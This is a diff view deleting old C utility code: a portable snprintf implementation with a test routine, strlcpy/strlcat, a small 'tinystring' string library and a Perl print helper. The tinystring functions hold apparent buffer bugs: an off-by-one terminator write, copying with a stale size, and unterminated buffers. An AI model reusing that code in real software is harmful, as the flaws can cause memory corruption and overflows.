|
||||
va_list args);
|
||||
static int fmtstr (char *buffer, size_t *currlen, size_t maxlen,
|
||||
char *value, int flags, int min, int max);
|
||||
static int fmtint (char *buffer, size_t *currlen, size_t maxlen,
|
||||
LLONG value, int base, int min, int max, int flags);
|
||||
static int fmtfp (char *buffer, size_t *currlen, size_t maxlen,
|
||||
LDOUBLE fvalue, int min, int max, int flags);
|
||||
static int dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c );
|
||||
|
||||
/*
|
||||
* dopr(): poor man's version of doprintf
|
||||
*/
|
||||
|
||||
/* format read states */
|
||||
#define DP_S_DEFAULT 0
|
||||
#define DP_S_FLAGS 1
|
||||
#define DP_S_MIN 2
|
||||
#define DP_S_DOT 3
|
||||
#define DP_S_MAX 4
|
||||
#define DP_S_MOD 5
|
||||
#define DP_S_MOD_L 6
|
||||
#define DP_S_CONV 7
|
||||
#define DP_S_DONE 8
|
||||
|
||||
/* format flags - Bits */
|
||||
#define DP_F_MINUS (1 << 0)
|
||||
#define DP_F_PLUS (1 << 1)
|
||||
#define DP_F_SPACE (1 << 2)
|
||||
#define DP_F_NUM (1 << 3)
|
||||
#define DP_F_ZERO (1 << 4)
|
||||
#define DP_F_UP (1 << 5)
|
||||
#define DP_F_UNSIGNED (1 << 6)
|
||||
|
||||
/* Conversion Flags */
|
||||
#define DP_C_SHORT 1
|
||||
#define DP_C_LONG 2
|
||||
#define DP_C_LLONG 3
|
||||
#define DP_C_LDOUBLE 4
|
||||
|
||||
#define char_to_int(p) (p - '0')
|
||||
#define MAX(p,q) ((p >= q) ? p : q)
|
||||
#define MIN(p,q) ((p <= q) ? p : q)
|
||||
|
||||
static int dopr (char *buffer, size_t maxlen, const char *format, va_list args)
|
||||
{
|
||||
char ch;
|
||||
LLONG value;
|
||||
LDOUBLE fvalue;
|
||||
char *strvalue;
|
||||
int min;
|
||||
int max;
|
||||
int state;
|
||||
int flags;
|
||||
int cflags;
|
||||
int total;
|
||||
size_t currlen;
|
||||
|
||||
state = DP_S_DEFAULT;
|
||||
currlen = flags = cflags = min = 0;
|
||||
max = -1;
|
||||
ch = *format++;
|
||||
total = 0;
|
||||
|
||||
while (state != DP_S_DONE)
|
||||
{
|
||||
if (ch == '\0')
|
||||
state = DP_S_DONE;
|
||||
|
||||
switch(state)
|
||||
{
|
||||
case DP_S_DEFAULT:
|
||||
if (ch == '%')
|
||||
state = DP_S_FLAGS;
|
||||
else
|
||||
total += dopr_outch (buffer, &currlen, maxlen, ch);
|
||||
ch = *format++;
|
||||
break;
|
||||
case DP_S_FLAGS:
|
||||
switch (ch)
|
||||
{
|
||||
case '-':
|
||||
flags |= DP_F_MINUS;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '+':
|
||||
flags |= DP_F_PLUS;
|
||||
ch = *format++;
|
||||
break;
|
||||
case ' ':
|
||||
flags |= DP_F_SPACE;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '#':
|
||||
flags |= DP_F_NUM;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '0':
|
||||
flags |= DP_F_ZERO;
|
||||
ch = *format++;
|
||||
break;
|
||||
default:
|
||||
state = DP_S_MIN;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case DP_S_MIN:
|
||||
if (isdigit((unsigned char)ch))
|
||||
{
|
||||
min = 10*min + char_to_int (ch);
|
||||
ch = *format++;
|
||||
}
|
||||
else if (ch == '*')
|
||||
{
|
||||
min = va_arg (args, int);
|
||||
ch = *format++;
|
||||
state = DP_S_DOT;
|
||||
}
|
||||
else
|
||||
state = DP_S_DOT;
|
||||
break;
|
||||
case DP_S_DOT:
|
||||
if (ch == '.')
|
||||
{
|
||||
state = DP_S_MAX;
|
||||
ch = *format++;
|
||||
}
|
||||
else
|
||||
state = DP_S_MOD;
|
||||
break;
|
||||
case DP_S_MAX:
|
||||
if (isdigit((unsigned char)ch))
|
||||
{
|
||||
if (max < 0)
|
||||
max = 0;
|
||||
max = 10*max + char_to_int (ch);
|
||||
ch = *format++;
|
||||
}
|
||||
else if (ch == '*')
|
||||
{
|
||||
max = va_arg (args, int);
|
||||
ch = *format++;
|
||||
state = DP_S_MOD;
|
||||
}
|
||||
else
|
||||
state = DP_S_MOD;
|
||||
break;
|
||||
case DP_S_MOD:
|
||||
switch (ch)
|
||||
{
|
||||
case 'h':
|
||||
cflags = DP_C_SHORT;
|
||||
ch = *format++;
|
||||
break;
|
||||
case 'l':
|
||||
cflags = DP_C_LONG;
|
||||
ch = *format++;
|
||||
break;
|
||||
case 'L':
|
||||
cflags = DP_C_LDOUBLE;
|
||||
ch = *format++;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (cflags != DP_C_LONG)
|
||||
state = DP_S_CONV;
|
||||
else
|
||||
state = DP_S_MOD_L;
|
||||
break;
|
||||
case DP_S_MOD_L:
|
||||
switch (ch)
|
||||
{
|
||||
case 'l':
|
||||
cflags = DP_C_LLONG;
|
||||
ch = *format++;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
state = DP_S_CONV;
|
||||
break;
|
||||
case DP_S_CONV:
|
||||
switch (ch)
|
||||
{
|
||||
case 'd':
|
||||
case 'i':
|
||||
if (cflags == DP_C_SHORT)
|
||||
value = (short int) va_arg (args, int);
|
||||
else if (cflags == DP_C_LONG)
|
||||
value = va_arg (args, long int);
|
||||
else if (cflags == DP_C_LLONG)
|
||||
value = va_arg (args, LLONG);
|
||||
else
|
||||
value = va_arg (args, int);
|
||||
total += fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags);
|
||||
break;
|
||||
case 'o':
|
||||
flags |= DP_F_UNSIGNED;
|
||||
if (cflags == DP_C_SHORT)
|
||||
value = (unsigned short int) va_arg (args, unsigned int);
|
||||
else if (cflags == DP_C_LONG)
|
||||
value = va_arg (args, unsigned long int);
|
||||
else if (cflags == DP_C_LLONG)
|
||||
value = va_arg (args, unsigned LLONG);
|
||||
else
|
||||
value = va_arg (args, unsigned int);
|
||||
total += fmtint (buffer, &currlen, maxlen, value, 8, min, max, flags);
|
||||
break;
|
||||
case 'u':
|
||||
flags |= DP_F_UNSIGNED;
|
||||
if (cflags == DP_C_SHORT)
|
||||
value = (unsigned short int) va_arg (args, unsigned int);
|
||||
else if (cflags == DP_C_LONG)
|
||||
value = va_arg (args, unsigned long int);
|
||||
else if (cflags == DP_C_LLONG)
|
||||
value = va_arg (args, unsigned LLONG);
|
||||
else
|
||||
value = va_arg (args, unsigned int);
|
||||
total += fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags);
|
||||
break;
|
||||
case 'X':
|
||||
flags |= DP_F_UP;
|
||||
case 'x':
|
||||
flags |= DP_F_UNSIGNED;
|
||||
if (cflags == DP_C_SHORT)
|
||||
value = (unsigned short int) va_arg (args, unsigned int);
|
||||
else if (cflags == DP_C_LONG)
|
||||
value = va_arg (args, unsigned long int);
|
||||
else if (cflags == DP_C_LLONG)
|
||||
value = va_arg (args, unsigned LLONG);
|
||||
else
|
||||
value = va_arg (args, unsigned int);
|
||||
total += fmtint (buffer, &currlen, maxlen, value, 16, min, max, flags);
|
||||
break;
|
||||
case 'f':
|
||||
if (cflags == DP_C_LDOUBLE)
|
||||
fvalue = va_arg (args, LDOUBLE);
|
||||
else
|
||||
fvalue = va_arg (args, double);
|
||||
/* um, floating point? */
|
||||
total += fmtfp (buffer, &currlen, maxlen, fvalue, min, max, flags);
|
||||
break;
|
||||
case 'E':
|
||||
flags |= DP_F_UP;
|
||||
case 'e':
|
||||
if (cflags == DP_C_LDOUBLE)
|
||||
fvalue = va_arg (args, LDOUBLE);
|
||||
else
|
||||
fvalue = va_arg (args, double);
|
||||
break;
|
||||
case 'G':
|
||||
flags |= DP_F_UP;
|
||||
case 'g':
|
||||
if (cflags == DP_C_LDOUBLE)
|
||||
fvalue = va_arg (args, LDOUBLE);
|
||||
else
|
||||
fvalue = va_arg (args, double);
|
||||
break;
|
||||
case 'c':
|
||||
total += dopr_outch (buffer, &currlen, maxlen, va_arg (args, int));
|
||||
break;
|
||||
case 's':
|
||||
strvalue = va_arg (args, char *);
|
||||
total += fmtstr (buffer, &currlen, maxlen, strvalue, flags, min, max);
|
||||
break;
|
||||
case 'p':
|
||||
strvalue = va_arg (args, void *);
|
||||
total += fmtint (buffer, &currlen, maxlen, (long) strvalue, 16, min,
|
||||
max, flags);
|
||||
break;
|
||||
case 'n':
|
||||
if (cflags == DP_C_SHORT)
|
||||
{
|
||||
short int *num;
|
||||
num = va_arg (args, short int *);
|
||||
*num = currlen;
|
||||
}
|
||||
else if (cflags == DP_C_LONG)
|
||||
{
|
||||
long int *num;
|
||||
num = va_arg (args, long int *);
|
||||
*num = currlen;
|
||||
}
|
||||
else if (cflags == DP_C_LLONG)
|
||||
{
|
||||
LLONG *num;
|
||||
num = va_arg (args, LLONG *);
|
||||
*num = currlen;
|
||||
}
|
||||
else
|
||||
{
|
||||
int *num;
|
||||
num = va_arg (args, int *);
|
||||
*num = currlen;
|
||||
}
|
||||
break;
|
||||
case '%':
|
||||
total += dopr_outch (buffer, &currlen, maxlen, ch);
|
||||
break;
|
||||
case 'w':
|
||||
/* not supported yet, treat as next char */
|
||||
ch = *format++;
|
||||
break;
|
||||
default:
|
||||
/* Unknown, skip */
|
||||
break;
|
||||
}
|
||||
ch = *format++;
|
||||
state = DP_S_DEFAULT;
|
||||
flags = cflags = min = 0;
|
||||
max = -1;
|
||||
break;
|
||||
case DP_S_DONE:
|
||||
break;
|
||||
default:
|
||||
/* hmm? */
|
||||
break; /* some picky compilers need this */
|
||||
}
|
||||
}
|
||||
if (buffer != NULL)
|
||||
{
|
||||
if (currlen < maxlen - 1)
|
||||
buffer[currlen] = '\0';
|
||||
else
|
||||
buffer[maxlen - 1] = '\0';
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
static int fmtstr (char *buffer, size_t *currlen, size_t maxlen,
|
||||
char *value, int flags, int min, int max)
|
||||
{
|
||||
int padlen, strln; /* amount to pad */
|
||||
int cnt = 0;
|
||||
int total = 0;
|
||||
char null[] = "<NULL>";
|
||||
|
||||
if (value == 0)
|
||||
{
|
||||
value = null;
|
||||
}
|
||||
|
||||
for (strln = 0; value[strln]; ++strln); /* strlen */
|
||||
if (max >= 0 && max < strln)
|
||||
strln = max;
|
||||
padlen = min - strln;
|
||||
if (padlen < 0)
|
||||
padlen = 0;
|
||||
if (flags & DP_F_MINUS)
|
||||
padlen = -padlen; /* Left Justify */
|
||||
|
||||
while (padlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
--padlen;
|
||||
}
|
||||
while (*value && ((max < 0) || (cnt < max)))
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, *value++);
|
||||
++cnt;
|
||||
}
|
||||
while (padlen < 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
++padlen;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
/* Have to handle DP_F_NUM (ie 0x and 0 alternates) */
|
||||
|
||||
static int fmtint (char *buffer, size_t *currlen, size_t maxlen,
|
||||
LLONG value, int base, int min, int max, int flags)
|
||||
{
|
||||
int signvalue = 0;
|
||||
unsigned LLONG uvalue;
|
||||
char convert[24];
|
||||
unsigned int place = 0;
|
||||
int spadlen = 0; /* amount to space pad */
|
||||
int zpadlen = 0; /* amount to zero pad */
|
||||
const char *digits;
|
||||
int total = 0;
|
||||
|
||||
if (max < 0)
|
||||
max = 0;
|
||||
|
||||
uvalue = value;
|
||||
|
||||
if(!(flags & DP_F_UNSIGNED))
|
||||
{
|
||||
if( value < 0 ) {
|
||||
signvalue = '-';
|
||||
uvalue = -value;
|
||||
}
|
||||
else
|
||||
if (flags & DP_F_PLUS) /* Do a sign (+/i) */
|
||||
signvalue = '+';
|
||||
else
|
||||
if (flags & DP_F_SPACE)
|
||||
signvalue = ' ';
|
||||
}
|
||||
|
||||
if (flags & DP_F_UP)
|
||||
/* Should characters be upper case? */
|
||||
digits = "0123456789ABCDEF";
|
||||
else
|
||||
digits = "0123456789abcdef";
|
||||
|
||||
do {
|
||||
convert[place++] = digits[uvalue % (unsigned)base];
|
||||
uvalue = (uvalue / (unsigned)base );
|
||||
} while(uvalue && (place < sizeof (convert)));
|
||||
if (place == sizeof (convert)) place--;
|
||||
convert[place] = 0;
|
||||
|
||||
zpadlen = max - place;
|
||||
spadlen = min - MAX ((unsigned int)max, place) - (signvalue ? 1 : 0);
|
||||
if (zpadlen < 0) zpadlen = 0;
|
||||
if (spadlen < 0) spadlen = 0;
|
||||
if (flags & DP_F_ZERO)
|
||||
{
|
||||
zpadlen = MAX(zpadlen, spadlen);
|
||||
spadlen = 0;
|
||||
}
|
||||
if (flags & DP_F_MINUS)
|
||||
spadlen = -spadlen; /* Left Justifty */
|
||||
|
||||
#ifdef DEBUG_SNPRINTF
|
||||
dprint (1, (debugfile, "zpad: %d, spad: %d, min: %d, max: %d, place: %d\n",
|
||||
zpadlen, spadlen, min, max, place));
|
||||
#endif
|
||||
|
||||
/* Spaces */
|
||||
while (spadlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
--spadlen;
|
||||
}
|
||||
|
||||
/* Sign */
|
||||
if (signvalue)
|
||||
total += dopr_outch (buffer, currlen, maxlen, signvalue);
|
||||
|
||||
/* Zeros */
|
||||
if (zpadlen > 0)
|
||||
{
|
||||
while (zpadlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, '0');
|
||||
--zpadlen;
|
||||
}
|
||||
}
|
||||
|
||||
/* Digits */
|
||||
while (place > 0)
|
||||
total += dopr_outch (buffer, currlen, maxlen, convert[--place]);
|
||||
|
||||
/* Left Justified spaces */
|
||||
while (spadlen < 0) {
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
++spadlen;
|
||||
}
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
static LDOUBLE abs_val (LDOUBLE value)
|
||||
{
|
||||
LDOUBLE result = value;
|
||||
|
||||
if (value < 0)
|
||||
result = -value;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static LDOUBLE pow10 (int exp)
|
||||
{
|
||||
LDOUBLE result = 1;
|
||||
|
||||
while (exp)
|
||||
{
|
||||
result *= 10;
|
||||
exp--;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static long round (LDOUBLE value)
|
||||
{
|
||||
long intpart;
|
||||
|
||||
intpart = value;
|
||||
value = value - intpart;
|
||||
if (value >= 0.5)
|
||||
intpart++;
|
||||
|
||||
return intpart;
|
||||
}
|
||||
|
||||
static int fmtfp (char *buffer, size_t *currlen, size_t maxlen,
|
||||
LDOUBLE fvalue, int min, int max, int flags)
|
||||
{
|
||||
int signvalue = 0;
|
||||
LDOUBLE ufvalue;
|
||||
char iconvert[20];
|
||||
char fconvert[20];
|
||||
int iplace = 0;
|
||||
int fplace = 0;
|
||||
int padlen = 0; /* amount to pad */
|
||||
int zpadlen = 0;
|
||||
int caps = 0;
|
||||
int total = 0;
|
||||
LLONG intpart;
|
||||
LLONG fracpart;
|
||||
|
||||
/*
|
||||
* AIX manpage says the default is 0, but Solaris says the default
|
||||
* is 6, and sprintf on AIX defaults to 6
|
||||
*/
|
||||
if (max < 0)
|
||||
max = 6;
|
||||
|
||||
ufvalue = abs_val (fvalue);
|
||||
|
||||
if (fvalue < 0)
|
||||
signvalue = '-';
|
||||
else
|
||||
if (flags & DP_F_PLUS) /* Do a sign (+/i) */
|
||||
signvalue = '+';
|
||||
else
|
||||
if (flags & DP_F_SPACE)
|
||||
signvalue = ' ';
|
||||
|
||||
#if 0
|
||||
if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */
|
||||
#endif
|
||||
|
||||
intpart = ufvalue;
|
||||
|
||||
/*
|
||||
* Sorry, we only support 9 digits past the decimal because of our
|
||||
* conversion method
|
||||
*/
|
||||
if (max > 9)
|
||||
max = 9;
|
||||
|
||||
/* We "cheat" by converting the fractional part to integer by
|
||||
* multiplying by a factor of 10
|
||||
*/
|
||||
fracpart = round ((pow10 (max)) * (ufvalue - intpart));
|
||||
|
||||
if (fracpart >= pow10 (max))
|
||||
{
|
||||
intpart++;
|
||||
fracpart -= pow10 (max);
|
||||
}
|
||||
|
||||
#ifdef DEBUG_SNPRINTF
|
||||
dprint (1, (debugfile, "fmtfp: %f =? %d.%d\n", fvalue, intpart, fracpart));
|
||||
#endif
|
||||
|
||||
/* Convert integer part */
|
||||
do {
|
||||
iconvert[iplace++] =
|
||||
(caps? "0123456789ABCDEF":"0123456789abcdef")[intpart % 10];
|
||||
intpart = (intpart / 10);
|
||||
} while(intpart && (iplace < 20));
|
||||
if (iplace == 20) iplace--;
|
||||
iconvert[iplace] = 0;
|
||||
|
||||
/* Convert fractional part */
|
||||
do {
|
||||
fconvert[fplace++] =
|
||||
(caps? "0123456789ABCDEF":"0123456789abcdef")[fracpart % 10];
|
||||
fracpart = (fracpart / 10);
|
||||
} while(fracpart && (fplace < 20));
|
||||
if (fplace == 20) fplace--;
|
||||
fconvert[fplace] = 0;
|
||||
|
||||
/* -1 for decimal point, another -1 if we are printing a sign */
|
||||
padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0);
|
||||
zpadlen = max - fplace;
|
||||
if (zpadlen < 0)
|
||||
zpadlen = 0;
|
||||
if (padlen < 0)
|
||||
padlen = 0;
|
||||
if (flags & DP_F_MINUS)
|
||||
padlen = -padlen; /* Left Justifty */
|
||||
|
||||
if ((flags & DP_F_ZERO) && (padlen > 0))
|
||||
{
|
||||
if (signvalue)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, signvalue);
|
||||
--padlen;
|
||||
signvalue = 0;
|
||||
}
|
||||
while (padlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, '0');
|
||||
--padlen;
|
||||
}
|
||||
}
|
||||
while (padlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
--padlen;
|
||||
}
|
||||
if (signvalue)
|
||||
total += dopr_outch (buffer, currlen, maxlen, signvalue);
|
||||
|
||||
while (iplace > 0)
|
||||
total += dopr_outch (buffer, currlen, maxlen, iconvert[--iplace]);
|
||||
|
||||
/*
|
||||
* Decimal point. This should probably use locale to find the correct
|
||||
* char to print out.
|
||||
*/
|
||||
if (max > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, '.');
|
||||
|
||||
while (fplace > 0)
|
||||
total += dopr_outch (buffer, currlen, maxlen, fconvert[--fplace]);
|
||||
}
|
||||
|
||||
while (zpadlen > 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, '0');
|
||||
--zpadlen;
|
||||
}
|
||||
|
||||
while (padlen < 0)
|
||||
{
|
||||
total += dopr_outch (buffer, currlen, maxlen, ' ');
|
||||
++padlen;
|
||||
}
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
static int dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c)
|
||||
{
|
||||
if (*currlen + 1 < maxlen)
|
||||
buffer[(*currlen)++] = c;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int vsnprintf (char *str, size_t count, const char *fmt, va_list args)
|
||||
{
|
||||
if (str != NULL)
|
||||
str[0] = 0;
|
||||
return dopr(str, count, fmt, args);
|
||||
}
|
||||
|
||||
/* VARARGS3 */
|
||||
#ifdef HAVE_STDARGS
|
||||
int snprintf (char *str,size_t count,const char *fmt,...)
|
||||
#else
|
||||
int snprintf (va_alist) va_dcl
|
||||
#endif
|
||||
{
|
||||
#ifndef HAVE_STDARGS
|
||||
char *str;
|
||||
size_t count;
|
||||
char *fmt;
|
||||
#endif
|
||||
VA_LOCAL_DECL;
|
||||
int total;
|
||||
|
||||
VA_START (fmt);
|
||||
VA_SHIFT (str, char *);
|
||||
VA_SHIFT (count, size_t );
|
||||
VA_SHIFT (fmt, char *);
|
||||
total = vsnprintf(str, count, fmt, ap);
|
||||
VA_END;
|
||||
return total;
|
||||
}
|
||||
|
||||
#ifdef TEST_SNPRINTF
|
||||
#ifndef LONG_STRING
|
||||
#define LONG_STRING 1024
|
||||
#endif
|
||||
int main (void)
|
||||
{
|
||||
char buf1[LONG_STRING];
|
||||
char buf2[LONG_STRING];
|
||||
char *fp_fmt[] = {
|
||||
"%-1.5f",
|
||||
"%1.5f",
|
||||
"%123.9f",
|
||||
"%10.5f",
|
||||
"% 10.5f",
|
||||
"%+22.9f",
|
||||
"%+4.9f",
|
||||
"%01.3f",
|
||||
"%4f",
|
||||
"%3.1f",
|
||||
"%3.2f",
|
||||
"%.0f",
|
||||
"%.1f",
|
||||
NULL
|
||||
};
|
||||
double fp_nums[] = { -1.5, 134.21, 91340.2, 341.1234, 0203.9, 0.96, 0.996,
|
||||
0.9996, 1.996, 4.136, 0};
|
||||
char *int_fmt[] = {
|
||||
"%-1.5d",
|
||||
"%1.5d",
|
||||
"%123.9d",
|
||||
"%5.5d",
|
||||
"%10.5d",
|
||||
"% 10.5d",
|
||||
"%+22.33d",
|
||||
"%01.3d",
|
||||
"%4d",
|
||||
NULL
|
||||
};
|
||||
long int_nums[] = { -1, 134, 91340, 341, 0203, 0};
|
||||
int x, y;
|
||||
int fail = 0;
|
||||
int num = 0;
|
||||
|
||||
printf ("Testing snprintf format codes against system sprintf...\n");
|
||||
|
||||
for (x = 0; fp_fmt[x] != NULL ; x++)
|
||||
for (y = 0; fp_nums[y] != 0 ; y++)
|
||||
{
|
||||
snprintf (buf1, sizeof (buf1), fp_fmt[x], fp_nums[y]);
|
||||
sprintf (buf2, fp_fmt[x], fp_nums[y]);
|
||||
if (strcmp (buf1, buf2))
|
||||
{
|
||||
printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n",
|
||||
fp_fmt[x], buf1, buf2);
|
||||
fail++;
|
||||
}
|
||||
num++;
|
||||
}
|
||||
|
||||
for (x = 0; int_fmt[x] != NULL ; x++)
|
||||
for (y = 0; int_nums[y] != 0 ; y++)
|
||||
{
|
||||
snprintf (buf1, sizeof (buf1), int_fmt[x], int_nums[y]);
|
||||
sprintf (buf2, int_fmt[x], int_nums[y]);
|
||||
if (strcmp (buf1, buf2))
|
||||
{
|
||||
printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n",
|
||||
int_fmt[x], buf1, buf2);
|
||||
fail++;
|
||||
}
|
||||
num++;
|
||||
}
|
||||
printf ("%d tests failed out of %d.\n", fail, num);
|
||||
}
|
||||
#endif /* SNPRINTF_TEST */
|
@ -1,84 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
/*
|
||||
* Appends src to string dst of size siz (unlike strncat, siz is the
|
||||
* full size of dst, not space left). At most siz-1 characters
|
||||
* will be copied. Always NUL terminates (unless siz <= strlen(dst)).
|
||||
* Returns strlen(src) + MIN(siz, strlen(initial dst)).
|
||||
* If retval >= siz, truncation occurred.
|
||||
*/
|
||||
size_t
|
||||
strlcat(char *dst, const char *src, size_t siz)
|
||||
{
|
||||
register char *d = dst;
|
||||
register const char *s = src;
|
||||
register size_t n = siz;
|
||||
size_t dlen;
|
||||
|
||||
/* Find the end of dst and adjust bytes left but don't go past end */
|
||||
while (n-- != 0 && *d != '\0')
|
||||
d++;
|
||||
dlen = d - dst;
|
||||
n = siz - dlen;
|
||||
|
||||
if (n == 0)
|
||||
return(dlen + strlen(s));
|
||||
while (*s != '\0') {
|
||||
if (n != 1) {
|
||||
*d++ = *s;
|
||||
n--;
|
||||
}
|
||||
s++;
|
||||
}
|
||||
*d = '\0';
|
||||
|
||||
return(dlen + (s - src)); /* count does not include NUL */
|
||||
}
|
||||
|
||||
/*
|
||||
* Copy src to string dst of size siz. At most siz-1 characters
|
||||
* will be copied. Always NUL terminates (unless siz == 0).
|
||||
* Returns strlen(src); if retval >= siz, truncation occurred.
|
||||
*/
|
||||
size_t
|
||||
strlcpy(char *dst, const char *src, size_t siz)
|
||||
{
|
||||
register char *d = dst;
|
||||
register const char *s = src;
|
||||
register size_t n = siz;
|
||||
|
||||
/* Copy as many bytes as will fit */
|
||||
if (n != 0 && --n != 0) {
|
||||
do {
|
||||
if ((*d++ = *s++) == 0)
|
||||
break;
|
||||
} while (--n != 0);
|
||||
}
|
||||
|
||||
/* Not enough room in dst, add NUL and traverse rest of src */
|
||||
if (n == 0) {
|
||||
if (siz != 0)
|
||||
*d = '\0'; /* NUL-terminate dst */
|
||||
while (*s++)
|
||||
;
|
||||
}
|
||||
|
||||
return(s - src - 1); /* count does not include NUL */
|
||||
}
|
@ -1,129 +0,0 @@
|
||||
#include "tinystring.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <malloc.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
|
||||
#ifndef min
|
||||
#define min(a,b) ((a) > (b) ? (b) : (a))
|
||||
#endif
|
||||
|
||||
extern char *strndup(const char *s, size_t n);
|
||||
|
||||
|
||||
struct string_s {
|
||||
const char* data;
|
||||
long int size;
|
||||
bool _no_del; //SIGH...
|
||||
};
|
||||
|
||||
string_t string_ncreate(const char* cstr,long int length) {
|
||||
string_t self = malloc(sizeof(struct string_s));
|
||||
self->size = length;
|
||||
if(cstr) self->data = strndup(cstr,length);
|
||||
else self->data = NULL;
|
||||
self->_no_del = 0;
|
||||
return self;
|
||||
}
|
||||
|
||||
string_t string_create(const char* cstr) {
|
||||
if(!cstr)
|
||||
return string_ncreate(NULL, 0);
|
||||
return string_ncreate(cstr, strlen(cstr));
|
||||
}
|
||||
|
||||
string_t string_nwrap(const char* cstr, long int length) {
|
||||
static struct string_s self;
|
||||
self.size = length;
|
||||
self.data = cstr;
|
||||
self._no_del = 1;
|
||||
return &self;
|
||||
}
|
||||
|
||||
string_t string_wrap(const char* cstr) {
|
||||
if(!cstr)
|
||||
return string_nwrap(NULL, 0);
|
||||
return string_nwrap(cstr, strlen(cstr));
|
||||
}
|
||||
|
||||
string_t string_fmt(const char* fmt, ...) {
|
||||
va_list args;
|
||||
FILE* tmp = tmpfile();
|
||||
string_t self = malloc(sizeof(struct string_s));
|
||||
char* data;
|
||||
va_start(args, fmt);
|
||||
vfprintf(tmp, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
self->size = ftell(tmp);
|
||||
|
||||
rewind(tmp);
|
||||
data = malloc(self->size);
|
||||
fread(data, self->size, sizeof(char), tmp);
|
||||
|
||||
fclose(tmp);
|
||||
self->data = data;
|
||||
return self;
|
||||
}
|
||||
|
||||
string_t string_cat(string_t head,string_t tail) {
|
||||
//There are two ways to skin a cat...
|
||||
string_t self = malloc(sizeof(struct string_s));
|
||||
char* data;
|
||||
self->size = head->size+tail->size;
|
||||
data = malloc(self->size);
|
||||
memcpy(data, head->data, head->size);
|
||||
memcpy(data+head->size,tail->data,tail->size);
|
||||
self->data = data;
|
||||
return self;
|
||||
}
|
||||
|
||||
/* Source Dest */
|
||||
void string_copy(string_t src,string_t dest) {
|
||||
dest->data = realloc((char*)dest->data,src->size);
|
||||
memcpy((char*)dest->data,src->data,dest->size);
|
||||
}
|
||||
|
||||
void string_copy_raw(string_t src, void* dest,size_t size) {
|
||||
size = min(src->size,size);
|
||||
memcpy(dest,src->data,size);
|
||||
((char*)dest)[size] = '\0';
|
||||
}
|
||||
|
||||
const char* string_data(string_t self) {
|
||||
return self->data;
|
||||
}
|
||||
|
||||
long int string_size(string_t self) {
|
||||
return self->size;
|
||||
}
|
||||
|
||||
void string_free(string_t self) {
|
||||
if(!self->_no_del)
|
||||
free((char*)self->data);
|
||||
|
||||
free(self);
|
||||
}
|
||||
|
||||
#ifndef min
|
||||
#define min(a,b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
bool string_equal(string_t this,string_t that) {
|
||||
return !memcmp(this->data,that->data,min(this->size,that->size));
|
||||
}
|
||||
|
||||
bool string_equali(string_t this,string_t that) {
|
||||
return !strncasecmp(this->data,that->data,min(this->size,that->size));
|
||||
}
|
||||
|
||||
int string_cmp(string_t this,string_t that) {
|
||||
return memcmp(this->data,that->data,min(this->size,that->size));
|
||||
}
|
||||
|
||||
int string_cmpi(string_t this,string_t that) {
|
||||
return strncasecmp(this->data,that->data,min(this->size,that->size));
|
||||
}
|
@ -1,4 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
printf "%-8s ",uc(shift @ARGV);
|
||||
print join(' ', @ARGV),"\n";
|
